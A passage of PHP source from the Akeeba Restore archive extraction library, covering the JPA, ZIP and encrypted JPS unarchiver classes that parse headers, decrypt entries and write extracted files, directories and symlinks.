				$this->nextFile();
			}

			if ($this->isEOF(false))
			{
				$fullEOF = true;
				continue;
			}

			// Read 512Kb
			$chunk     = fread($this->fp, 524288);
			$size_read = mb_strlen($chunk, '8bit');
			//$pos = strpos($chunk, 'JPF');
			$pos = mb_strpos($chunk, 'JPF', 0, '8bit');

			if ($pos !== false)
			{
				// We found it!
				$this->currentPartOffset += $pos + 3;
				@fseek($this->fp, $this->currentPartOffset, SEEK_SET);
				$ret = true;
			}
			else
			{
				// Not yet found :(
				$this->currentPartOffset = @ftell($this->fp);
			}
		}

		return $ret;
	}

	/**
	 * Creates the directory this file points to
	 */
	protected function createDirectory()
	{
		if ($this->mustSkip())
		{
			return true;
		}

		// Do we need to create a directory?
		if (empty($this->fileHeader->realFile))
		{
			$this->fileHeader->realFile = $this->fileHeader->file;
		}

		$lastSlash = strrpos($this->fileHeader->realFile, '/');
		$dirName   = substr($this->fileHeader->realFile, 0, $lastSlash);
		$perms     = $this->flagRestorePermissions ? $this->fileHeader->permissions : 0755;
		$ignore    = AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($dirName);

		if (($this->postProcEngine->createDirRecursive($dirName, $perms) == false) && (!$ignore))
		{
			$this->setError(AKText::sprintf('COULDNT_CREATE_DIR', $dirName));

			return false;
		}
		else
		{
			return true;
		}
	}

	/**
	 * Concrete classes must use this method to process file data. It must set $runState to AK_STATE_DATAREAD when
	 * it's finished processing the file data.
	 *
	 * @return bool True if processing the file data was successful, false if an error occurred
	 */
	protected function processFileData()
	{
		switch ($this->fileHeader->type)
		{
			case 'dir':
				return $this->processTypeDir();
				break;

			case 'link':
				return $this->processTypeLink();
				break;

			case 'file':
				switch ($this->fileHeader->compression)
				{
					case 'none':
						return $this->processTypeFileUncompressed();
						break;

					case 'gzip':
					case 'bzip2':
						return $this->processTypeFileCompressedSimple();
						break;

				}
				break;

			default:
				debugMsg('Unknown file type ' . $this->fileHeader->type);
				break;
		}
	}

	/**
	 * Process the file data of a directory entry
	 *
	 * @return bool
	 */
	private function processTypeDir()
	{
		// Directory entries in the JPA do not have file data, therefore we're done processing the entry
		$this->runState = AK_STATE_DATAREAD;

		return true;
	}

	/**
	 * Process the file data of a link entry
	 *
	 * @return bool
	 */
	private function processTypeLink()
	{
		$readBytes   = 0;
		$toReadBytes = 0;
		$leftBytes   = $this->fileHeader->compressed;
		$data        = '';

		while ($leftBytes > 0)
		{
			$toReadBytes     = ($leftBytes > $this->chunkSize) ? $this->chunkSize : $leftBytes;
			$mydata          = $this->fread($this->fp, $toReadBytes);
			$reallyReadBytes = akstringlen($mydata);
			$data            .= $mydata;
			$leftBytes       -= $reallyReadBytes;

			if ($reallyReadBytes < $toReadBytes)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
				}
				else
				{
					debugMsg('End of local file before reading all data with no more parts left. The archive is corrupt or truncated.');
					// Nope. The archive is corrupt
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}
		}

		$filename = isset($this->fileHeader->realFile) ? $this->fileHeader->realFile : $this->fileHeader->file;

		if (!$this->mustSkip())
		{
			// Try to remove an existing file or directory by the same name
			if (file_exists($filename))
			{
				@unlink($filename);
				@rmdir($filename);
			}

			// Remove any trailing slash
			if (substr($filename, -1) == '/')
			{
				$filename = substr($filename, 0, -1);
			}
			// Create the symlink - only possible within PHP context. There's no support built in the FTP protocol, so no postproc use is possible here :(
			@symlink($data, $filename);
		}

		$this->runState = AK_STATE_DATAREAD;

		return true; // No matter if the link was created!
	}

	private function processTypeFileUncompressed()
	{
		// Uncompressed files are being processed in small chunks, to avoid timeouts
		if (($this->dataReadLength == 0) && !$this->mustSkip())
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);

			clearstatcache($this->fileHeader->file);
		}

		// Open the output file
		if (!$this->mustSkip())
		{
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);

			if ($this->dataReadLength == 0)
			{
				$outfp = @fopen($this->fileHeader->realFile, 'w');
			}
			else
			{
				$outfp = @fopen($this->fileHeader->realFile, 'a');
			}

			// Can we write to the file?
			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				debugMsg('Could not write to output file');
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->compressed == 0)
		{
			// No file data!
			if (!$this->mustSkip() && is_resource($outfp))
			{
				@fclose($outfp);
			}

			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		// Reference to the global timer
		$timer = AKFactory::getTimer();

		$toReadBytes = 0;
		$leftBytes   = $this->fileHeader->compressed - $this->dataReadLength;

		// Loop while there's data to read and enough time to do it
		while (($leftBytes > 0) && ($timer->getTimeLeft() > 0))
		{
			$toReadBytes          = ($leftBytes > $this->chunkSize) ? $this->chunkSize : $leftBytes;
			$data                 = $this->fread($this->fp, $toReadBytes);
			$reallyReadBytes      = akstringlen($data);
			$leftBytes            -= $reallyReadBytes;
			$this->dataReadLength += $reallyReadBytes;

			if ($reallyReadBytes < $toReadBytes)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
				}
				else
				{
					// Nope. The archive is corrupt
					debugMsg('Not enough data in file. The archive is truncated or corrupt.');
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}

			if (!$this->mustSkip())
			{
				if (is_resource($outfp))
				{
					@fwrite($outfp, $data);
				}
			}
		}

		// Close the file pointer
		if (!$this->mustSkip())
		{
			if (is_resource($outfp))
			{
				@fclose($outfp);
			}
		}

		// Was this a pre-timeout bail out?
		if ($leftBytes > 0)
		{
			$this->runState = AK_STATE_DATA;
		}
		else
		{
			// Oh! We just finished!
			$this->runState       = AK_STATE_DATAREAD;
			$this->dataReadLength = 0;
		}

		return true;
	}

	private function processTypeFileCompressedSimple()
	{
		if (!$this->mustSkip())
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);

			clearstatcache($this->fileHeader->file);

			// Open the output file
			$outfp = @fopen($this->fileHeader->realFile, 'w');

			// Can we write to the file?
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);

			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				debugMsg('Could not write to output file');
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->compressed == 0)
		{
			// No file data!
			if (!$this->mustSkip())
			{
				if (is_resource($outfp))
				{
					@fclose($outfp);
				}
			}
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		// Simple compressed files are processed as a whole; we can't do chunk processing
		$zipData = $this->fread($this->fp, $this->fileHeader->compressed);
		while (akstringlen($zipData) < $this->fileHeader->compressed)
		{
			// End of local file before reading all data, but have more archive parts?
			if ($this->isEOF(true) && !$this->isEOF(false))
			{
				// Yeap. Read from the next file
				$this->nextFile();
				$bytes_left = $this->fileHeader->compressed - akstringlen($zipData);
				$zipData    .= $this->fread($this->fp, $bytes_left);
			}
			else
			{
				debugMsg('End of local file before reading all data with no more parts left. The archive is corrupt or truncated.');
				$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

				return false;
			}
		}

		if ($this->fileHeader->compression == 'gzip')
		{
			$unzipData = gzinflate($zipData);
		}
		elseif ($this->fileHeader->compression == 'bzip2')
		{
			$unzipData = bzdecompress($zipData);
		}
		unset($zipData);

		// Write to the file.
		if (!$this->mustSkip() && is_resource($outfp))
		{
			@fwrite($outfp, $unzipData, $this->fileHeader->uncompressed);
			@fclose($outfp);
		}
		unset($unzipData);

		$this->runState = AK_STATE_DATAREAD;

		return true;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * ZIP archive extraction class
 *
 * Since the file data portion of ZIP and JPA are similarly structured (it's empty for dirs,
 * linked node name for symlinks, dumped binary data for no compressions and dumped gzipped
 * binary data for gzip compression) we just have to subclass AKUnarchiverJPA and change the
 * header reading bits. Reusable code ;)
 */
class AKUnarchiverZIP extends AKUnarchiverJPA
{
	public $expectDataDescriptor = false;

	protected function readArchiveHeader()
	{
		debugMsg('Preparing to read archive header');
		// Initialize header data array
		$this->archiveHeaderData = new stdClass();

		// Open the first part
		debugMsg('Opening the first part');
		$this->nextFile();

		// Fail for unreadable files
		if ($this->fp === false)
		{
			debugMsg('The first part is not readable');

			return false;
		}

		// Fuzzy check for the start of archive.
		debugMsg('Fuzzy checking for archive signature');

		$sigFound = $this->fuzzySignatureSearch([
			pack('V', 0x08074b50), // Multi-part ZIP
			pack('V', 0x30304b50), // Multi-part ZIP (alternate)
			pack('V', 0x04034b50)  // Single file
		], 4);

		if (!$sigFound)
		{
			debugMsg('Cannot find a valid archive signature in the first 128Kb of the first part file');

			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'zip', 'z'));

			return false;
		}

		debugMsg(sprintf('File signature found, position %d', ftell($this->fp)));

		// Read a possible multipart signature
		$sigBinary  = fread($this->fp, 4);
		$headerData = unpack('Vsig', $sigBinary);

		// Roll back if it's not a multipart archive
		if ($headerData['sig'] == 0x04034b50)
		{
			debugMsg('The archive is not multipart');
			fseek($this->fp, -4, SEEK_CUR);
		}
		else
		{
			debugMsg('The archive is multipart');
		}

		$multiPartSigs = [
			0x08074b50, // Multi-part ZIP
			0x30304b50, // Multi-part ZIP (alternate)
			0x04034b50  // Single file
		];
		if (!in_array($headerData['sig'], $multiPartSigs))
		{
			debugMsg('Invalid header signature ' . dechex($headerData['sig']));
			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'zip', 'z'));

			return false;
		}

		$this->currentPartOffset = @ftell($this->fp);
		debugMsg('Current part offset after reading header: ' . $this->currentPartOffset);

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected function readFileHeader()
	{
		// If the current part is over, proceed to the next part please
		if ($this->isEOF(true))
		{
			debugMsg('Opening next archive part');
			$gotNextFile = $this->nextFile();
		}

		$this->currentPartOffset = ftell($this->fp);

		if ($this->expectDataDescriptor)
		{
			// The last file had bit 3 of the general purpose bit flag set. This means that we have a
			// 12 byte data descriptor we need to skip. To make things worse, there might also be a 4
			// byte optional data descriptor header (0x08074b50).
			$junk = @fread($this->fp, 4);
			$junk = unpack('Vsig', $junk);
			if ($junk['sig'] == 0x08074b50)
			{
				// Yes, there was a signature
				$junk = @fread($this->fp, 12);
				debugMsg('Data descriptor (w/ header) skipped at ' . (ftell($this->fp) - 12));
			}
			else
			{
				// No, there was no signature, just read another 8 bytes
				$junk = @fread($this->fp, 8);
				debugMsg('Data descriptor (w/out header) skipped at ' . (ftell($this->fp) - 8));
			}

			// And check for EOF, too
			if ($this->isEOF(true))
			{
				debugMsg('EOF before reading header');

				$gotNextFile = $this->nextFile();
			}
		}

		// Get and decode Local File Header
		$headerBinary = fread($this->fp, 30);
		$headerData   =
			unpack('Vsig/C2ver/vbitflag/vcompmethod/vlastmodtime/vlastmoddate/Vcrc/Vcompsize/Vuncomp/vfnamelen/veflen', $headerBinary);

		// Check signature
		if (!($headerData['sig'] == 0x04034b50))
		{
			debugMsg('Not a file signature at ' . (ftell($this->fp) - 4));

			// The signature is not the one used for files. Is this a central directory record (i.e. we're done)?
			if ($headerData['sig'] == 0x02014b50)
			{
				debugMsg('EOCD signature at ' . (ftell($this->fp) - 4));
				// End of ZIP file detected. We'll just skip to the end of file...
				while ($this->nextFile())
				{
				};
				@fseek($this->fp, 0, SEEK_END); // Go to EOF
				return false;
			}
			else
			{
				if (isset($gotNextFile) && !$gotNextFile && $this->getState() !== 'postrun')
				{
					debugMsg(sprintf('Cannot open file %s for part #%d', $this->archiveList[$this->currentPartNumber] ?: '(unknown)', $this->currentPartNumber));

					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_OFFSET_ZERO',
						$this->archiveList[$this->currentPartNumber] ?: '(unknown)',
						$this->currentPartNumber,
						'zip',
						'z'
					));

					return false;
				}

				if ($this->currentPartOffset === 0 && $this->currentPartNumber > 0)
				{
					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_MULTIPART',
						$this->currentPartNumber,
						$this->currentPartOffset,
						'jpa',
						'j'
					));

					return false;
				}

				debugMsg('Invalid signature ' . dechex($headerData['sig']) . ' at ' . ftell($this->fp));

				if (count($this->archiveList) > 1)
				{
					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_MULTIPART',
						$this->currentPartNumber,
						$this->currentPartOffset,
						'zip',
						'z'
					));

					return false;
				}

				$this->setError(AKText::sprintf(
					'INVALID_FILE_HEADER',
					$this->currentPartNumber,
					$this->currentPartOffset,
					'zip',
					'z'
				));

				return false;
			}
		}

		// If bit 3 of the bitflag is set, expectDataDescriptor is true
		$this->expectDataDescriptor = ($headerData['bitflag'] & 4) == 4;

		$this->fileHeader            = new stdClass();
		$this->fileHeader->timestamp = 0;

		// Read the last modified data and time
		$lastmodtime = $headerData['lastmodtime'];
		$lastmoddate = $headerData['lastmoddate'];

		if ($lastmoddate && $lastmodtime)
		{
			// ----- Extract time
			$v_hour    = ($lastmodtime & 0xF800) >> 11;
			$v_minute  = ($lastmodtime & 0x07E0) >> 5;
			$v_seconde = ($lastmodtime & 0x001F) * 2;

			// ----- Extract date
			$v_year  = (($lastmoddate & 0xFE00) >> 9) + 1980;
			$v_month = ($lastmoddate & 0x01E0) >> 5;
			$v_day   = $lastmoddate & 0x001F;

			// ----- Get UNIX date format
			$this->fileHeader->timestamp = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
		}

		$isBannedFile = false;

		$this->fileHeader->compressed   = $headerData['compsize'];
		$this->fileHeader->uncompressed = $headerData['uncomp'];
		$nameFieldLength                = $headerData['fnamelen'];
		$extraFieldLength               = $headerData['eflen'];

		// Read filename field
		$this->fileHeader->file = fread($this->fp, $nameFieldLength);

		// Handle file renaming
		$isRenamed = false;
		if (is_array($this->renameFiles) && (count($this->renameFiles) > 0))
		{
			if (array_key_exists($this->fileHeader->file, $this->renameFiles))
			{
				$this->fileHeader->file = $this->renameFiles[$this->fileHeader->file];
				$isRenamed              = true;
			}
		}

		// Handle directory renaming
		$isDirRenamed = false;
		if (is_array($this->renameDirs) && (count($this->renameDirs) > 0))
		{
			if (array_key_exists(dirname($this->fileHeader->file), $this->renameDirs))
			{
				$file         =
					rtrim($this->renameDirs[dirname($this->fileHeader->file)], '/') . '/' . basename($this->fileHeader->file);
				$isRenamed    = true;
				$isDirRenamed = true;
			}
		}

		// Read extra field if present
		if ($extraFieldLength > 0)
		{
			$extrafield = fread($this->fp, $extraFieldLength);
		}

		debugMsg('*' . ftell($this->fp) . ' IS START OF ' . $this->fileHeader->file . ' (' . $this->fileHeader->compressed . ' bytes)');


		// Decide filetype -- Check for directories
		$this->fileHeader->type = 'file';
		if (strrpos($this->fileHeader->file, '/') == strlen($this->fileHeader->file) - 1)
		{
			$this->fileHeader->type = 'dir';
		}
		// Decide filetype -- Check for symbolic links
		if (($headerData['ver1'] == 10) && ($headerData['ver2'] == 3))
		{
			$this->fileHeader->type = 'link';
		}

		switch ($headerData['compmethod'])
		{
			case 0:
				$this->fileHeader->compression = 'none';
				break;
			case 8:
				$this->fileHeader->compression = 'gzip';
				break;
		}

		// Find hard-coded banned files
		if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == ".."))
		{
			$isBannedFile = true;
		}

		// Also try to find banned files passed in class configuration
		if ((count($this->skipFiles) > 0) && (!$isRenamed))
		{
			if (in_array($this->fileHeader->file, $this->skipFiles))
			{
				$isBannedFile = true;
			}
		}

		// If we have a banned file, let's skip it
		if ($isBannedFile)
		{
			// Advance the file pointer, skipping exactly the size of the compressed data
			$seekleft = $this->fileHeader->compressed;
			while ($seekleft > 0)
			{
				// Ensure that we can seek past archive part boundaries
				$curSize = @filesize($this->archiveList[$this->currentPartNumber]);
				$curPos  = @ftell($this->fp);
				$canSeek = $curSize - $curPos;
				if ($canSeek > $seekleft)
				{
					$canSeek = $seekleft;
				}
				@fseek($this->fp, $canSeek, SEEK_CUR);
				$seekleft -= $canSeek;
				if ($seekleft)
				{
					$this->nextFile();
				}
			}

			$this->currentPartOffset = @ftell($this->fp);
			$this->runState          = AK_STATE_DONE;

			return true;
		}

		// Remove the removePath, if any
		$this->fileHeader->file = $this->removePath($this->fileHeader->file);

		// Last chance to prepend a path to the filename
		if (!empty($this->addPath) && !$isDirRenamed)
		{
			$this->fileHeader->file = $this->addPath . $this->fileHeader->file;
		}

		// Get the translated path name
		if (!$this->mustSkip())
		{
			if ($this->fileHeader->type == 'file')
			{
				$this->fileHeader->realFile = $this->postProcEngine->processFilename($this->fileHeader->file);
			}
			elseif ($this->fileHeader->type == 'dir')
			{
				$this->fileHeader->timestamp = 0;

				$dir = $this->fileHeader->file;

				$this->postProcEngine->createDirRecursive($dir, 0755);
				$this->postProcEngine->processFilename(null);
			}
			else
			{
				// Symlink; do not post-process
				$this->fileHeader->timestamp = 0;
				$this->postProcEngine->processFilename(null);
			}

			$this->createDirectory();
		}

		// Header is read
		$this->runState = AK_STATE_HEADER;

		return true;
	}

}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * JPS archive extraction class
 */
class AKUnarchiverJPS extends AKUnarchiverJPA
{
	/**
	 * Header data for the archive
	 *
	 * @var   array
	 */
	protected $archiveHeaderData = [];

	/**
	 * Plaintext password from which the encryption key will be derived with PBKDF2
	 *
	 * @var   string
	 */
	protected $password = '';

	/**
	 * Which hash algorithm should I use for key derivation with PBKDF2.
	 *
	 * @var   string
	 */
	private $pbkdf2Algorithm = 'sha1';

	/**
	 * How many iterations should I use for key derivation with PBKDF2
	 *
	 * @var   int
	 */
	private $pbkdf2Iterations = 1000;

	/**
	 * Should I use a static salt for key derivation with PBKDF2?
	 *
	 * @var   bool
	 */
	private $pbkdf2UseStaticSalt = 0;

	/**
	 * Static salt for key derivation with PBKDF2
	 *
	 * @var   string
	 */
	private $pbkdf2StaticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

	/**
	 * How much compressed data I have read since the last file header read
	 *
	 * @var   int
	 */
	private $compressedSizeReadSinceLastFileHeader = 0;

	public function __construct()
	{
		$this->password = AKFactory::get('kickstart.jps.password', '');
	}

	public function __wakeup()
	{
		parent::__wakeup();

		// Make sure the decryption is all set up (required!)
		AKEncryptionAES::setPbkdf2Algorithm($this->pbkdf2Algorithm);
		AKEncryptionAES::setPbkdf2Iterations($this->pbkdf2Iterations);
		AKEncryptionAES::setPbkdf2UseStaticSalt($this->pbkdf2UseStaticSalt);
		AKEncryptionAES::setPbkdf2StaticSalt($this->pbkdf2StaticSalt);
	}


	protected function readArchiveHeader()
	{
		// Initialize header data array
		$this->archiveHeaderData = new stdClass();

		// Open the first part
		$this->nextFile();

		// Fail for unreadable files
		if ($this->fp === false)
		{
			return false;
		}

		// Fuzzy check for the start of archive.
		debugMsg('Fuzzy checking for archive signature');

		$sigFound = $this->fuzzySignatureSearch([
			'JPS'
		], 3);

		if (!$sigFound)
		{
			debugMsg('Cannot find a valid archive signature in the first 128Kb of the first part file');

			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'jps', 'j'));

			return false;
		}

		debugMsg(sprintf('File signature found, position %d', ftell($this->fp)));

		// Read the signature
		$sig = fread($this->fp, 3);

		if ($sig != 'JPS')
		{
			// Not a JPS file
			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'jps', 'j'));

			return false;
		}

		// Read and parse the known portion of header data (5 bytes)
		$bin_data    = fread($this->fp, 5);
		$header_data = unpack('Cmajor/Cminor/cspanned/vextra', $bin_data);

		// Is this a v2 archive?
		$versionHumanReadable = $header_data['major'] . '.' . $header_data['minor'];
		$isV2Archive = version_compare($versionHumanReadable, '2.0', 'ge');

		// Load any remaining header data
		$rest_length = $header_data['extra'];

		if ($isV2Archive && $rest_length)
		{
			// V2 archives only have one kind of extra header
			if (!$this->readKeyExpansionExtraHeader())
			{
				return false;
			}
		}
		elseif ($rest_length > 0)
		{
			$junk = fread($this->fp, $rest_length);
		}

		// Temporary array with all the data we read
		$temp = [
			'signature' => $sig,
			'major'     => $header_data['major'],
			'minor'     => $header_data['minor'],
			'spanned'   => $header_data['spanned']
		];
		// Array-to-object conversion
		foreach ($temp as $key => $value)
		{
			$this->archiveHeaderData->{$key} = $value;
		}

		$this->currentPartOffset = @ftell($this->fp);

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected function readFileHeader()
	{
		// If the current part is over, proceed to the next part please
		if ($this->isEOF(true))
		{
			$this->nextFile();
		}

		$this->currentPartOffset = ftell($this->fp);

		// Get and decode Entity Description Block
		$signature = fread($this->fp, 3);

		// Check for end-of-archive siganture
		if ($signature == 'JPE')
		{
			$this->setState('postrun');

			return true;
		}

		$this->fileHeader            = new stdClass();
		$this->fileHeader->timestamp = 0;

		// Check signature
		if ($signature != 'JPF')
		{
			if ($this->isEOF(true))
			{
				// This file is finished; make sure it's the last one
				$gotNextFile = $this->nextFile();

				if (!$gotNextFile && $this->getState() !== 'postrun')
				{
					debugMsg(sprintf('Cannot open file %s for part #%d', $this->archiveList[$this->currentPartNumber] ?: '(unknown)', $this->currentPartNumber));

					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_OFFSET_ZERO',
						$this->archiveList[$this->currentPartNumber] ?: '(unknown)',
						$this->currentPartNumber,
						'jps',
						'j'
					));

					return false;
				}

				if (!$this->isEOF(false))
				{
					$this->setError(AKText::sprintf('INVALID_FILE_HEADER', $this->currentPartNumber, $this->currentPartOffset));

					return false;
				}

				// We're just finished
				return false;
			}
			else
			{
				fseek($this->fp, -6, SEEK_CUR);
				$signature = fread($this->fp, 3);
				if ($signature == 'JPE')
				{
					return false;
				}

				if (count($this->archiveList) > 1)
				{
					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_MULTIPART',
						$this->currentPartNumber,
						$this->currentPartOffset,
						'jps',
						'j'
					));

					return false;
				}

				$this->setError(AKText::sprintf(
					'INVALID_FILE_HEADER',
					$this->currentPartNumber,
					$this->currentPartOffset,
					'jps',
					'j'
				));

				return false;
			}
		}

		// This a JPS Entity Block. Process the header.

		$isBannedFile = false;

		// Make sure the decryption is all set up
		AKEncryptionAES::setPbkdf2Algorithm($this->pbkdf2Algorithm);
		AKEncryptionAES::setPbkdf2Iterations($this->pbkdf2Iterations);
		AKEncryptionAES::setPbkdf2UseStaticSalt($this->pbkdf2UseStaticSalt);
		AKEncryptionAES::setPbkdf2StaticSalt($this->pbkdf2StaticSalt);

		// Read and decrypt the header
		$edbhData = fread($this->fp, 4);
		$edbh     = unpack('vencsize/vdecsize', $edbhData);
		$bin_data = fread($this->fp, $edbh['encsize']);

		// Add the header length to the data read
		$this->compressedSizeReadSinceLastFileHeader += $edbh['encsize'] + 4;

		// Decrypt and truncate
		$bin_data = AKEncryptionAES::AESDecryptCBC($bin_data, $this->password);
		$bin_data = substr($bin_data, 0, $edbh['decsize']);

		// Read length of EDB and of the Entity Path Data
		$length_array = unpack('vpathsize', substr($bin_data, 0, 2));
		// Read the path data
		$file = substr($bin_data, 2, $length_array['pathsize']);

		// Handle file renaming
		$isRenamed = false;
		if (is_array($this->renameFiles) && (count($this->renameFiles) > 0))
		{
			if (array_key_exists($file, $this->renameFiles))
			{
				$file      = $this->renameFiles[$file];
				$isRenamed = true;
			}
		}

		// Handle directory renaming
		$isDirRenamed = false;
		if (is_array($this->renameDirs) && (count($this->renameDirs) > 0))
		{
			if (array_key_exists(dirname($file), $this->renameDirs))
			{
				$file         = rtrim($this->renameDirs[dirname($file)], '/') . '/' . basename($file);
				$isRenamed    = true;
				$isDirRenamed = true;
			}
		}

		// Read and parse the known data portion
		$bin_data    = substr($bin_data, 2 + $length_array['pathsize']);
		$header_data = unpack('Ctype/Ccompression/Vuncompsize/Vperms/Vfilectime', $bin_data);

		$this->fileHeader->timestamp = $header_data['filectime'];
		$compressionType             = $header_data['compression'];

		// Populate the return array
		$this->fileHeader->file         = $file;
		$this->fileHeader->uncompressed = $header_data['uncompsize'];
		switch ($header_data['type'])
		{
			case 0:
				$this->fileHeader->type = 'dir';
				break;

			case 1:
				$this->fileHeader->type = 'file';
				break;

			case 2:
				$this->fileHeader->type = 'link';
				break;
		}
		switch ($compressionType)
		{
			case 0:
				$this->fileHeader->compression = 'none';
				break;
			case 1:
				$this->fileHeader->compression = 'gzip';
				break;
			case 2:
				$this->fileHeader->compression = 'bzip2';
				break;
		}
		$this->fileHeader->permissions = $header_data['perms'];

		// Find hard-coded banned files
		if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == ".."))
		{
			$isBannedFile = true;
		}

		// Also try to find banned files passed in class configuration
		if ((count($this->skipFiles) > 0) && (!$isRenamed))
		{
			if (in_array($this->fileHeader->file, $this->skipFiles))
			{
				$isBannedFile = true;
			}
		}

		// If we have a banned file, let's skip it
		if ($isBannedFile)
		{
			$done = false;
			while (!$done)
			{
				// Read the Data Chunk Block header
				$binMiniHead = fread($this->fp, 8);
				if (in_array(substr($binMiniHead, 0, 3), ['JPF', 'JPE']))
				{
					// Not a Data Chunk Block header, I am done skipping the file
					@fseek($this->fp, -8, SEEK_CUR); // Roll back the file pointer
					$done = true; // Mark as done
					continue; // Exit loop
				}
				else
				{
					// Skip forward by the amount of compressed data
					$miniHead = unpack('Vencsize/Vdecsize', $binMiniHead);
					@fseek($this->fp, $miniHead['encsize'], SEEK_CUR);
					$this->compressedSizeReadSinceLastFileHeader += 8 + $miniHead['encsize'];
				}
			}

			$this->currentPartOffset                     = @ftell($this->fp);
			$this->runState                              = AK_STATE_DONE;
			$this->fileHeader->compressed                = $this->compressedSizeReadSinceLastFileHeader;
			$this->compressedSizeReadSinceLastFileHeader = 0;

			return true;
		}

		// Remove the removePath, if any
		$this->fileHeader->file = $this->removePath($this->fileHeader->file);

		// Last chance to prepend a path to the filename
		if (!empty($this->addPath) && !$isDirRenamed)
		{
			$this->fileHeader->file = $this->addPath . $this->fileHeader->file;
		}

		// Get the translated path name
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);

		if (!$this->mustSkip())
		{
			if ($this->fileHeader->type == 'file')
			{
				// Regular file; ask the postproc engine to process its filename
				if ($restorePerms)
				{
					$this->fileHeader->realFile =
						$this->postProcEngine->processFilename($this->fileHeader->file, $this->fileHeader->permissions);
				}
				else
				{
					$this->fileHeader->realFile = $this->postProcEngine->processFilename($this->fileHeader->file);
				}
			}
			elseif ($this->fileHeader->type == 'dir')
			{
				$dir                        = $this->fileHeader->file;
				$this->fileHeader->realFile = $dir;

				// Directory; just create it
				if ($restorePerms)
				{
					$this->postProcEngine->createDirRecursive($this->fileHeader->file, $this->fileHeader->permissions);
				}
				else
				{
					$this->postProcEngine->createDirRecursive($this->fileHeader->file, 0755);
				}

				$this->postProcEngine->processFilename(null);
			}
			else
			{
				// Symlink; do not post-process
				$this->postProcEngine->processFilename(null);
			}

			$this->createDirectory();
		}


		$this->fileHeader->compressed                = $this->compressedSizeReadSinceLastFileHeader;
		$this->compressedSizeReadSinceLastFileHeader = 0;

		// Header is read
		$this->runState = AK_STATE_HEADER;

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Creates the directory this file points to
	 */
	protected function createDirectory()
	{
		if ($this->mustSkip())
		{
			return true;
		}

		// Do we need to create a directory?
		$lastSlash = strrpos($this->fileHeader->realFile, '/');
		$dirName   = substr($this->fileHeader->realFile, 0, $lastSlash);
		$perms     = 0755;
		$ignore    = AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($dirName);

		if (($this->postProcEngine->createDirRecursive($dirName, $perms) == false) && (!$ignore))
		{
			$this->setError(AKText::sprintf('COULDNT_CREATE_DIR', $dirName));

			return false;
		}

		return true;
	}

	/**
	 * Concrete classes must use this method to process file data. It must set $runState to AK_STATE_DATAREAD when
	 * it's finished processing the file data.
	 *
	 * @return bool True if processing the file data was successful, false if an error occurred
	 */
	protected function processFileData()
	{
		switch ($this->fileHeader->type)
		{
			case 'dir':
				return $this->processTypeDir();
				break;

			case 'link':
				return $this->processTypeLink();
				break;

			case 'file':
				switch ($this->fileHeader->compression)
				{
					case 'none':
						return $this->processTypeFileUncompressed();
						break;

					case 'gzip':
					case 'bzip2':
						return $this->processTypeFileCompressedSimple();
						break;

				}
				break;
		}
	}

	/**
	 * Process the file data of a directory entry
	 *
	 * @return bool
	 */
	private function processTypeDir()
	{
		// Directory entries in the JPA do not have file data, therefore we're done processing the entry
		$this->runState = AK_STATE_DATAREAD;

		return true;
	}

	/**
	 * Process the file data of a link entry
	 *
	 * @return bool
	 */
	private function processTypeLink()
	{

